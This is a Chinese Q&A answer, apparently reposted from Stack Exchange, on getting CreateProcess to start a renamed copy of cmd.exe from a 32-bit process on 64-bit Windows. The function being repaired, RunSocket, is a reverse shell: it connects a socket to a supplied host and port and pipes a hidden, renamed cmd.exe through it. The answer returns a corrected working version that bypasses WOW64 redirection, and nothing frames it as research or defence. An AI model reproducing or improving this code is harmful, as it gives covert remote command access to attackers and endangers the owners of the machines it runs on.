使用CreateProcess调用改名后的cmd.exe副本失败问题
解决重命名cmd.exe后CreateProcess无法启动的问题
嘿,我看你遇到的问题核心在于两个点:你的程序是32位进程(从任务管理器显示的cmd.exe *32能看出来),在64位Windows系统下会触发文件系统重定向,另外重命名后的exe对应的语言资源文件路径也不对,这俩坑合起来就让test.exe启动无响应了。
问题拆解
- 文件系统重定向搞的鬼:64位Windows为了兼容32位程序,会自动把32位程序对
C:\Windows\System32的访问,偷偷重定向到C:\Windows\SysWOW64(专门放32位系统文件的目录)。你把test.exe放在了System32,但你的32位程序实际访问的是SysWOW64,而这个目录里根本没有你复制的test.exe,CreateProcess找不到文件,自然没动静。 - 语言资源文件(.mui)路径不匹配:就算你把cmd.exe.mui改名为test.exe.mui也没用——系统加载mui文件的路径是固定的:比如
C:\Windows\System32\test.exe对应的mui文件,得放在C:\Windows\System32\en-US\test.exe.mui(英文系统)或者C:\Windows\System32\zh-CN\test.exe.mui(中文系统),直接和exe放同一目录,系统根本找不到。
一步步解决
1. 绕过文件系统重定向(让32位程序访问真正的System32)
在调用CreateProcess之前,临时关闭重定向,访问完再恢复就行。用Wow64DisableWow64FsRedirection和Wow64RevertWow64FsRedirection这两个API就能实现,修改你的RunSocket函数:
void RunSocket(char *a, char *b) { WSADATA wsaData; SOCKET Winsock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; PVOID OldRedirectionValue = NULL; // 保存原重定向状态 WSAStartup(MAKEWORD(2,2), &wsaData); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); struct hostent *host; host = gethostbyname(a); strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(b)); hax.sin_addr.s_addr =inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL); memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb=sizeof(ini_processo); ini_processo.dwFlags=STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; // 尝试关闭文件系统重定向 if (Wow64DisableWow64FsRedirection(&OldRedirectionValue)) { char com[] = "C:\\Windows\\System32\\test.exe"; CreateProcess(NULL, com, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info); // 一定要恢复重定向,避免影响后续操作 Wow64RevertWow64FsRedirection(OldRedirectionValue); } else { // 如果关闭失败,退而求其次访问SysWOW64里的test.exe(前提是你把32位cmd复制到这改了名) char com[] = "C:\\Windows\\SysWOW64\\test.exe"; CreateProcess(NULL, com, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info); } }
2. 正确放置语言资源文件
把重命名后的test.exe.mui放到对应的语言子目录:
- 英文系统:
C:\Windows\System32\en-US\test.exe.mui - 中文系统:
C:\Windows\System32\zh-CN\test.exe.mui
要是你复制的是32位cmd(来自SysWOW64),那对应的mui文件就放到C:\Windows\SysWOW64\en-US\或zh-CN目录下。
3. 加个错误检查方便排坑
建议给CreateProcess加个返回值校验,这样启动失败时能拿到错误码,快速定位问题:
BOOL createResult = CreateProcess(NULL, com, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info); if (!createResult) { printf("CreateProcess failed! Error code: %d\n", GetLastError()); }
比如错误码2就是文件未找到,错误码126是找不到依赖的DLL或资源,一看就知道哪出问题了。
小建议
其实更简单的办法是:直接复制C:\Windows\SysWOW64\cmd.exe到同目录改名为test.exe,然后在代码里访问C:\Windows\SysWOW64\test.exe——这样不用绕过重定向,32位程序直接就能找到它,省不少事。
内容的提问来源于stack exchange,提问作者Brian Jarcus
相关产品推荐
相关产品推荐

